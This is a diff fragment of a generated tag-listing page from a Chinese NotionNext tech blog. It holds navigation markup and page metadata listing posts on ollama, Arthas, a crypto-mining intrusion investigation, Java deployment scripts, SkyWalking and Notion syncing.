href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E6%8A%98%E8%85%BE/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E6%8A%98%E8%85%BE/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":2,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"tag":"折腾"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"折腾"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 